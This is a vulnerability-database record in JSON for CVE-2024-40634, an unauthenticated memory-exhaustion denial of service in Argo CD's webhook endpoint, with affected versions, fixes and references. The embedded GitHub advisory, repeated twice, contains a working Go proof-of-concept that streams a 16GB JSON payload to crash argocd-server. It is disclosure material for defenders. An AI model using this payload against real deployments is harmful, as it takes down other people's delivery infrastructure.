{"id":"CVE-2024-40634","aliases":["BIT-argo-cd-2024-40634","EUVD-2024-2379","GHSA-jmvp-698c-4x3w","GO-2024-3002"],"status":"published","title":"Argo CD Unauthenticated Denial of Service (DoS) Vulnerability via /api/webhook Endpoint","description":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. This report details a security vulnerability in Argo CD, where an unauthenticated attacker can send a specially crafted large JSON payload to the /api/webhook endpoint, causing excessive memory allocation that leads to service disruption by triggering an Out Of Memory (OOM) kill. The issue poses a high risk to the availability of Argo CD deployments. This vulnerability is fixed in 2.11.6, 2.10.15, and 2.9.20.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.01392,"percentile":0.72715,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400"],"published":"2024-07-22T17:20:02Z","modified":"2026-10-28T02:31:01Z","fixes":[{"ecosystem":"Go","package":"github.com/argoproj/argo-cd/v2","fixed_in":["2.9.20","2.10.15","2.11.6"],"sources":["ghsa","osv"]},{"ecosystem":"Bitnami","package":"argo-cd","fixed_in":["2.11.6"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/argoproj/argo-cd","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.0"},{"last_affected":"1.8.7"}]}]},{"source":"ghsa","ecosystem":"Go","package":"github.com/argoproj/argo-cd/v2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.9.20"}]}]},{"source":"ghsa","ecosystem":"Go","package":"github.com/argoproj/argo-cd/v2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.10.0"},{"fixed":"2.10.15"}]}]},{"source":"ghsa","ecosystem":"Go","package":"github.com/argoproj/argo-cd/v2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.11.0"},{"fixed":"2.11.6"}]}]},{"source":"osv","ecosystem":"Bitnami","package":"argo-cd","ranges":[{"type":"SEMVER","events":[{"introduced":"1.0.0"},{"fixed":"2.11.6"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/argoproj/argo-cd","ranges":[{"type":"SEMVER","events":[{"introduced":"1.0.0"},{"last_affected":"1.8.7"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/argoproj/argo-cd/v2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.9.20"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/argoproj/argo-cd/v2","ranges":[{"type":"SEMVER","events":[{"introduced":"2.10.0"},{"fixed":"2.10.15"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/argoproj/argo-cd/v2","ranges":[{"type":"SEMVER","events":[{"introduced":"2.11.0"},{"fixed":"2.11.6"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/argoproj/argo-cd","ranges":[{"type":"SEMVER","events":[{"introduced":"1.0.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/argoproj/argo-cd/v2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.9.20"},{"introduced":"2.10.0"},{"fixed":"2.10.15"},{"introduced":"2.11.0"},{"fixed":"2.11.6"}]}]}],"products":[{"vendor":"argoproj","product":"argo-cd"},{"vendor":"argoproj","product":"argo_cd"}],"references":[{"url":"https://github.com/argoproj/argo-cd/security/advisories/GHSA-jmvp-698c-4x3w","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/argoproj/argo-cd/commit/46c0c0b64deaab1ece70cb701030b76668ad0cdc","tags":["x_refsource_MISC","x_transferred","Patch","fix","web"]},{"url":"https://github.com/argoproj/argo-cd/commit/540e3a57b90eb3655db54793332fac86bcc38b36","tags":["x_refsource_MISC","x_transferred","Patch","fix","web"]},{"url":"https://github.com/argoproj/argo-cd/commit/d881ee78949e23160a0b280bb159e4d3d625a4df","tags":["x_refsource_MISC","x_transferred","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-40634","tags":["web","advisory"]},{"url":"https://pkg.go.dev/vuln/GO-2024-3002","tags":["web"]},{"url":"https://github.com/advisories/GHSA-jmvp-698c-4x3w"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/40xxx/CVE-2024-40634.json","tags":["advisory"]},{"url":"https://github.com/argoproj/argo-cd","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-40634","title":"Argo CD Unauthenticated Denial of Service (DoS) Vulnerability via /api/webhook Endpoint","description":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. This report details a security vulnerability in Argo CD, where an unauthenticated attacker can send a specially crafted large JSON payload to the /api/webhook endpoint, causing excessive memory allocation that leads to service disruption by triggering an Out Of Memory (OOM) kill. The issue poses a high risk to the availability of Argo CD deployments. This vulnerability is fixed in 2.11.6, 2.10.15, and 2.9.20.\n","status":"published","published":"2024-07-22T17:22:55.732Z","modified":"2024-08-02T04:33:11.91Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:34:07.152829Z"}],"euvd":[{"id":"EUVD-2024-2379","description":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. This report details a security vulnerability in Argo CD, where an unauthenticated attacker can send a specially crafted large JSON payload to the /api/webhook endpoint, causing excessive memory allocation that leads to service disruption by triggering an Out Of Memory (OOM) kill. The issue poses a high risk to the availability of Argo CD deployments. This vulnerability is fixed in 2.11.6, 2.10.15, and 2.9.20.\n","status":"published","published":"2024-07-22T17:22:55Z","modified":"2024-08-02T04:33:11Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-03T03:50:17.469599Z"}],"ghsa":[{"id":"GHSA-jmvp-698c-4x3w","title":"Argo CD Unauthenticated Denial of Service (DoS) Vulnerability via /api/webhook Endpoint","description":"### Summary\nThis report details a security vulnerability in Argo CD, where an unauthenticated attacker can send a specially crafted large JSON payload to the /api/webhook endpoint, causing excessive memory allocation that leads to service disruption by triggering an Out Of Memory (OOM) kill. The issue poses a high risk to the availability of Argo CD deployments.\n\n### Details\nThe webhook server always listens to requests. By default, the endpoint doesn't require authentication. It's possible to send a large, malicious request with headers (in this case \"X-GitHub-Event: push\") that will make ArgoCD start allocating memory to parse the incoming request. Since the request can be constructed client-side without allocating large amounts of memory, it can be arbitrarily large. Eventually, the argocd-server component will get OOMKilled as it consumes all its available memory.\n\nThe fix would be to enforce a limit on the size of the request being parsed.\n\n### PoC\nPort-forward to the argocd-server service, like so:\n\n```console\nkubectl port-forward svc/argocd-server -n argocd 8080:443\n```\n\nRun the below code:\n\n```go\npackage main\n\nimport (\n\t\"crypto/tls\"\n\t\"io\"\n\t\"net/http\"\n)\n\n// Define a custom io.Reader that generates a large dummy JSON payload.\ntype DummyJSONReader struct {\n\tsize int64 // Total size to generate\n\tread int64 // Bytes already generated\n}\n\n// Read generates the next chunk of the dummy JSON payload.\nfunc (r *DummyJSONReader) Read(p []byte) (n int, err error) {\n\tif r.read \u003e= r.size {\n\t\treturn 0, io.EOF // Finished generating\n\t}\n\n\tstart := false\n\tif r.read == 0 {\n\t\t// Start of JSON\n\t\tp[0] = '{'\n\t\tp[1] = '\"'\n\t\tp[2] = 'd'\n\t\tp[3] = 'a'\n\t\tp[4] = 't'\n\t\tp[5] = 'a'\n\t\tp[6] = '\"'\n\t\tp[7] = ':'\n\t\tp[8] = '\"'\n\t\tn = 9\n\t\tstart = true\n\t}\n\n\tfor i := n; i \u003c len(p); i++ {\n\t\tif r.read+int64(i)-int64(n)+1 == r.size-1 {\n\t\t\t// End of JSON\n\t\t\tp[i] = '\"'\n\t\t\tp[i+1] = '}'\n\t\t\tr.read += int64(i) + 2 - int64(n)\n\t\t\treturn i + 2 - n, nil\n\t\t} else {\n\t\t\tp[i] = 'x' // Dummy data\n\t\t}\n\t}\n\n\tr.read += int64(len(p)) - int64(n)\n\tif start {\n\t\treturn len(p), nil\n\t}\n\treturn len(p) - n, nil\n}\n\nfunc main() {\n\t// Initialize the custom reader with the desired size (16GB in this case).\n\tpayloadSize := int64(16) * 1024 * 1024 * 1024 // 16GB\n\treader := \u0026DummyJSONReader{size: payloadSize}\n\n\t// HTTP client setup\n\thttpClient := \u0026http.Client{\n\t\tTimeout: 0, // No timeout\n\t\tTransport: \u0026http.Transport{\n\t\t\tTLSClientConfig: \u0026tls.Config{InsecureSkipVerify: true},\n\t\t},\n\t}\n\n\treq, err := http.NewRequest(\"POST\", \"https://localhost:8080/api/webhook\", reader)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Set headers\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\treq.Header.Set(\"X-GitHub-Event\", \"push\")\n\n\tresp, err := httpClient.Do(req)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer resp.Body.Close()\n\n\tprintln(\"Response status code:\", resp.StatusCode)\n}\n```\n\n### Patches\nA patch for this vulnerability has been released in the following Argo CD versions:\n\nv2.11.6\nv2.10.15\nv2.9.20\n\n### For more information\nIf you have any questions or comments about this advisory:\n\nOpen an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)\nJoin us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd\n\n### Credits\nThis vulnerability was found \u0026 reported by Jakub Ciolek\n\nThe Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue\n","status":"published","published":"2024-07-22T17:20:02Z","modified":"2024-08-07T14:17:42Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:37:58.427757Z"}],"nvd":[{"id":"CVE-2024-40634","description":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. This report details a security vulnerability in Argo CD, where an unauthenticated attacker can send a specially crafted large JSON payload to the /api/webhook endpoint, causing excessive memory allocation that leads to service disruption by triggering an Out Of Memory (OOM) kill. The issue poses a high risk to the availability of Argo CD deployments. This vulnerability is fixed in 2.11.6, 2.10.15, and 2.9.20.\n","status":"published","published":"2024-07-22T18:15:03.77Z","modified":"2026-06-17T07:46:12.693Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:10:13.413515Z"}],"osv":[{"id":"CVE-2024-40634","title":"Argo CD Unauthenticated Denial of Service (DoS) Vulnerability via /api/webhook Endpoint","description":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. This report details a security vulnerability in Argo CD, where an unauthenticated attacker can send a specially crafted large JSON payload to the /api/webhook endpoint, causing excessive memory allocation that leads to service disruption by triggering an Out Of Memory (OOM) kill. The issue poses a high risk to the availability of Argo CD deployments. This vulnerability is fixed in 2.11.6, 2.10.15, and 2.9.20.\n","status":"published","published":"2024-07-22T17:22:55.732Z","modified":"2026-10-28T02:31:01.547587963Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:44:41.618074Z"},{"id":"GHSA-jmvp-698c-4x3w","title":"Argo CD Unauthenticated Denial of Service (DoS) Vulnerability via /api/webhook Endpoint","description":"### Summary\nThis report details a security vulnerability in Argo CD, where an unauthenticated attacker can send a specially crafted large JSON payload to the /api/webhook endpoint, causing excessive memory allocation that leads to service disruption by triggering an Out Of Memory (OOM) kill. The issue poses a high risk to the availability of Argo CD deployments.\n\n### Details\nThe webhook server always listens to requests. By default, the endpoint doesn't require authentication. It's possible to send a large, malicious request with headers (in this case \"X-GitHub-Event: push\") that will make ArgoCD start allocating memory to parse the incoming request. Since the request can be constructed client-side without allocating large amounts of memory, it can be arbitrarily large. Eventually, the argocd-server component will get OOMKilled as it consumes all its available memory.\n\nThe fix would be to enforce a limit on the size of the request being parsed.\n\n### PoC\nPort-forward to the argocd-server service, like so:\n\n```console\nkubectl port-forward svc/argocd-server -n argocd 8080:443\n```\n\nRun the below code:\n\n```go\npackage main\n\nimport (\n\t\"crypto/tls\"\n\t\"io\"\n\t\"net/http\"\n)\n\n// Define a custom io.Reader that generates a large dummy JSON payload.\ntype DummyJSONReader struct {\n\tsize int64 // Total size to generate\n\tread int64 // Bytes already generated\n}\n\n// Read generates the next chunk of the dummy JSON payload.\nfunc (r *DummyJSONReader) Read(p []byte) (n int, err error) {\n\tif r.read \u003e= r.size {\n\t\treturn 0, io.EOF // Finished generating\n\t}\n\n\tstart := false\n\tif r.read == 0 {\n\t\t// Start of JSON\n\t\tp[0] = '{'\n\t\tp[1] = '\"'\n\t\tp[2] = 'd'\n\t\tp[3] = 'a'\n\t\tp[4] = 't'\n\t\tp[5] = 'a'\n\t\tp[6] = '\"'\n\t\tp[7] = ':'\n\t\tp[8] = '\"'\n\t\tn = 9\n\t\tstart = true\n\t}\n\n\tfor i := n; i \u003c len(p); i++ {\n\t\tif r.read+int64(i)-int64(n)+1 == r.size-1 {\n\t\t\t// End of JSON\n\t\t\tp[i] = '\"'\n\t\t\tp[i+1] = '}'\n\t\t\tr.read += int64(i) + 2 - int64(n)\n\t\t\treturn i + 2 - n, nil\n\t\t} else {\n\t\t\tp[i] = 'x' // Dummy data\n\t\t}\n\t}\n\n\tr.read += int64(len(p)) - int64(n)\n\tif start {\n\t\treturn len(p), nil\n\t}\n\treturn len(p) - n, nil\n}\n\nfunc main() {\n\t// Initialize the custom reader with the desired size (16GB in this case).\n\tpayloadSize := int64(16) * 1024 * 1024 * 1024 // 16GB\n\treader := \u0026DummyJSONReader{size: payloadSize}\n\n\t// HTTP client setup\n\thttpClient := \u0026http.Client{\n\t\tTimeout: 0, // No timeout\n\t\tTransport: \u0026http.Transport{\n\t\t\tTLSClientConfig: \u0026tls.Config{InsecureSkipVerify: true},\n\t\t},\n\t}\n\n\treq, err := http.NewRequest(\"POST\", \"https://localhost:8080/api/webhook\", reader)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Set headers\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\treq.Header.Set(\"X-GitHub-Event\", \"push\")\n\n\tresp, err := httpClient.Do(req)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer resp.Body.Close()\n\n\tprintln(\"Response status code:\", resp.StatusCode)\n}\n```\n\n### Patches\nA patch for this vulnerability has been released in the following Argo CD versions:\n\nv2.11.6\nv2.10.15\nv2.9.20\n\n### For more information\nIf you have any questions or comments about this advisory:\n\nOpen an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)\nJoin us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd\n\n### Credits\nThis vulnerability was found \u0026 reported by Jakub Ciolek\n\nThe Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue\n","status":"published","published":"2024-07-22T17:20:02Z","modified":"2026-09-10T03:49:18.734647473Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"},{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:46:50.687609Z"},{"id":"BIT-argo-cd-2024-40634","title":"Argo CD Unauthenticated Denial of Service (DoS) Vulnerability via /api/webhook Endpoint","description":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. This report details a security vulnerability in Argo CD, where an unauthenticated attacker can send a specially crafted large JSON payload to the /api/webhook endpoint, causing excessive memory allocation that leads to service disruption by triggering an Out Of Memory (OOM) kill. The issue poses a high risk to the availability of Argo CD deployments. This vulnerability is fixed in 2.11.6, 2.10.15, and 2.9.20.","status":"published","published":"2024-07-24T07:16:37.086Z","modified":"2026-09-08T08:45:44.841669565Z","updated_at":"2026-11-02T15:28:28.267217Z"},{"id":"GO-2024-3002","title":"Argo CD Unauthenticated Denial of Service (DoS) Vulnerability via /api/webhook Endpoint in github.com/argoproj/argo-cd","description":"Argo CD Unauthenticated Denial of Service (DoS) Vulnerability via /api/webhook Endpoint in github.com/argoproj/argo-cd","status":"published","published":"2024-08-06T22:03:16Z","modified":"2026-02-04T04:32:31.368262Z","updated_at":"2026-11-02T15:47:01.453823Z"}]}}